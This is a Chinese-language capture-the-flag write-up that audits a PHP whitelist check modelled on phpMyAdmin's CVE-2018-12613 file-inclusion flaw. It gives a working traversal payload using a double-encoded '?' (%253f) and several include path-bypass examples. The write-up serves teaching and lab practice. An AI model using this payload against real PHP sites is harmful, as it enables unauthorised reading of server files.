知识点
- include文件包含
- phpMyAdmin远程文件包含漏洞
启动靶机
启动靶机,查看题目,没有任何信息
查看源代码,发现提示了source.php
访问source.php
http://32b7d5b2-90f1-48b6-9010-8492aca35c06.node4.buuoj.cn/source.php
注意到白名单文件为source.php和hint.php,尝试访问hint.php得到提示,flag在ffffllllaaaagggg
对source.php文件进行代码审计:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这个题考查的是phpMyAdmin远程文件包含漏洞(CVE-2018-12613),基本上分析过那个漏洞这个题很快就能写出来。
分析源码
还是分析一遍这个源码,传入的file参数需要满足以下几点条件:
- file 参数不能为空
- file 参数需为字符串
- 需要满足checkFile方法的条件
重点在checkFile方法中,checkFile方法对file参数进行了3次白名单检测、 2次问号过滤、一次URL解码。
我们希望通过目录穿越包含任意文件读取到ffffllllaaaagggg文件,那么第一次白名单检测我们不可能通过,因为我们不可能只传入source.php或者是hint.php。
所以看第二次白名单检测:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//mb_substr() 函数返回字符串从【第二个参数】开始,往后数【第三个参数】长度的一部分。
//mb_strpos() 函数返回被查找的字符串在别一字符串中首次出现的位置
第二次白名单检测之前,对传入的参数进行了第一次问号过滤,将传入的参数从 ? 处进行了分割,这时如果我们传入参数”source.php?../../../../../ffffllllaaaagggg” 就能满足在第二次白名单检测。但是为什么我们不能直接传参?呢,因为include包含的路径中如果出现问号,会当做传参处理,也就是说”?../../../../../ffffllllaaaagggg”会被当做source.php的参数,这时我们就没办法读取到ffffllllaaaagggg文件了。
所以我们看第三次白名单检测:
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
第二次白名单检测之前,对传入的参数进行了URL解码,之后进行了第二次问号过滤,问题就出现在 urldecode() ,我们可以利用这个函数绕过白名单检测,因为url会自动解码一次,所以把 ? 两次url编码为 %253f 即可绕过验证。
即我们传入”source.php%253f../../../../../ffffllllaaaagggg”浏览器自动解码一次,变成”source.php%3f../../../../../ffffllllaaaagggg”,在urldecode() 解码后变成”source.php?../../../../../ffffllllaaaagggg”,最终通过白名单检测。
最终payload
http://32b7d5b2-90f1-48b6-9010-8492aca35c06.node4.buuoj.cn/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
写在最后:include的路径处理缺陷
之所以 ‘include ‘a.php%3f/../b.php’ 会包含后面文件而不包含前面文件,出现这种情况是因为php在文件路径处理上有一定的缺陷,会将第一个/../之前的内容全部删掉,主要原因就是tsrm_realpath_r函数会对于传入的路径做规范化处理。会删除掉 a.php%3f/../,只剩下一个b.php。
针对include路径处理缺陷的其它实验如下:
include 'a.php%3f/../b.php'; (相当于include 'b.php')
include 'a.php%3f/../../../b.php'; (相当于include '/../../b.php')
include 'a.php////../b.php'; (相当于include 'b.php')
include 'null.php%3f/../b.php'; (相当于include 'b.php') //即使是不存在的文件也可以绕过
include 'nuasdfav%3f/../b.php'; (相当于include 'b.php') //即使是任意字符串也可以绕过
include '即使是中文也可以。。/../b.php'; (相当于include 'b.php') //即使是中文字符也可以绕过